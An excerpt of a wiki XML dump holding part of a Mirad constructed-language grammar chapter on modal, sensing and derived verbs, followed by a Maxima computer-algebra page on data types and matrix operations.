| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
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  <page>
    <title>Maxima/Data types</title>
    <ns>0</ns>
    <id>438293</id>
    <revision>
      <id>4670513</id>
      <parentid>4663176</parentid>
      <timestamp>2026-09-16T23:13:43Z</timestamp>
      <contributor>
        <username>Idavidmiller</username>
        <id>3577687</id>
      </contributor>
      <comment>Work in progress. Saving Changes.</comment>
      <origin>4670513</origin>
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      <format>text/x-wiki</format>
      <text bytes="4600" sha1="sx6iu4fhr7o83apsbvqgduhwhao1apt" xml:space="preserve">== Data Types ==
Maxima data types generally can be categorized as follows:

* Atomic
* Non-atomic

==== Atomic Data Types ====

* Numerical
* Strings
* Constants

==== Non-atomic Data Types ====

* Lists
* Arrays
* Structures
* Matrices
* Sets

== Matrix ==
&quot;In Maxima, a matrix is implemented as a nested list (namely a list of rows of the matrix)&quot;. E.g. :&lt;ref&gt;[http://permalink.gmane.org/gmane.comp.mathematics.maxima.general/13588 the Maxima mailing list &lt;nowiki&gt;: [Maxima] array and matrix? - answer by Robert Dodier&lt;/nowiki&gt;]&lt;/ref&gt;
 (($MATRIX) ((MLIST) 1 2 3) ((MLIST) 4 5 6))
Construction of matrices from nested lists :
 (%i3) M:matrix([1,2,3],[4,5,6],[0,-1,-2]);
                                 [ 1   2    3  ]
                                 [             ]
 (%o3)                           [ 4   5    6  ]
                                 [             ]
                                 [ 0  - 1  - 2 ]


Interesting examples by Burkhard Bunk : &lt;ref&gt;[http://www-com.physik.hu-berlin.de/~bunk/kurs/maxima/maxima.html Maxima Overview by Burkhard Bunk ]&lt;/ref&gt;
 A: matrix([a, b, c], [d, e, f], [g, h, i]);     /* (3x3) matrix */
 u: matrix([x, y, z]);                           /* row vector */
 v: transpose(matrix([r, s, t]));                /* column vector */
Reference to elements etc:
 u[1,2];                 /* second element of u */
 v[2,1];                 /* second element of v */
 A[2,3];   or  A[2][3];  /* (2,3) element */
 A[2];                         /* second row of A */
 transpose(transpose(A)[2]);   /* second column of A */
Element by element operations:
 A + B;     
 A - B;
 A * B;      
 A / B;
 A ^ s;      
 s ^ A;
Matrix operations :
 A . B;                  /* matrix multiplication */
 A ^^ s;                 /* matrix exponentiation (including inverse) */
 transpose(A);
 determinant(A);
 invert(A);


Category: Matrices :&lt;ref&gt;[http://maxima.sourceforge.net/docs/manual/en/maxima_100.html#Category_003a-Matrices maxima manual : Category Matrices]&lt;/ref&gt;

* addcol
* addrow
* adjoint
* augcoefmatrix
* cauchy_matrix
* charpoly
* coefmatrix
* col
* columnvector
* covect
* copymatrix
* determinant
* detout
* diag
* diagmatrix
* doallmxops
* domxexpt
* domxmxops
* domxnctimes
* doscmxops
* doscmxplus
* echelon
* eigen
* ematrix
* entermatrix
* genmatrix
* ident
* invert
* list_matrix_entries
* lmxchar
* matrix
* matrix_element_add
* matrix_element_mult
* matrix_element_transpose
* matrixmap
* matrixp
* mattrace
* minor
* ncharpoly
* newdet
* nonscalar
* nonscalarp
* permanent
* rank
* ratmx
* row
* scalarmatrixp
* scalarp
* setelmx
* sparse
* submatrix
* tracematrix
* transpose
* triangularize
* zeromatrix

=== Function: matrix ===
 Function: matrix (row_1, …, row_n)
Returns a rectangular matrix which has the rows row_1, …, row_n. Each row is a list of expressions. All rows must be the same length.

=== . operator ===
&quot;The dot operator, for matrix (non-commutative) multiplication. When &quot;.&quot; is used in this way, spaces should be left on both sides of it, e.g.
 A . B
This distinguishes it plainly from a decimal point in a floating point number.

The operator . represents noncommutative multiplication and scalar product. When the operands are 1-column or 1-row matrices a and b, the expression a.b is equivalent to sum (a[i]*b[i], i, 1, length(a)). If a and b are not complex, this is the scalar product, also called the inner product or dot product, of a and b. The scalar product is defined as conjugate(a).b when a and b are complex; innerproduct in the eigen package provides the complex scalar product.

When the operands are more general matrices, the product is the matrix product a and b. The number of rows of b must equal the number of columns of a, and the result has number of rows equal to the number of rows of a and number of columns equal to the number of columns of b.

To distinguish . as an arithmetic operator from the decimal point in a floating point number, it may be necessary to leave spaces on either side. For example, 5.e3 is 5000.0 but 5 . e3 is 5 times e3.

There are several flags which govern the simplification of expressions involving ., namely dot0nscsimp, dot0simp, dot1simp, dotassoc, dotconstrules, dotdistrib, dotexptsimp, dotident, and dotscrules.&quot; ( from Maxima CAS doc)

== Vectors ==
Category: Vectors :

* Vectors
* eigen
* express
* nonscalar
* nonscalarp
* scalarp

Category: Package vect&lt;ref&gt;[http://maxima.sourceforge.net/docs/manual/en/maxima_23.html#Item_003a-Vectors maxima  manual : Package vect]&lt;/ref&gt;

* vect
* scalefactors
* vect_cross
* vectorpotential
* vectorsimp  


{{Bookcat}}</text>
      <sha1>sx6iu4fhr7o83apsbvqgduhwhao1apt</sha1>
    </revision>
    <revision>
      <id>4670544</id>
      <parentid>4670513</parentid>
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      <contributor>
        <username>Idavidmiller</username>
        <id>3577687</id>
      </contributor>
      <minor />
      <comment>/* Matrix */</comment>
      <origin>4670544</origin>
      <model>wikitext</model>
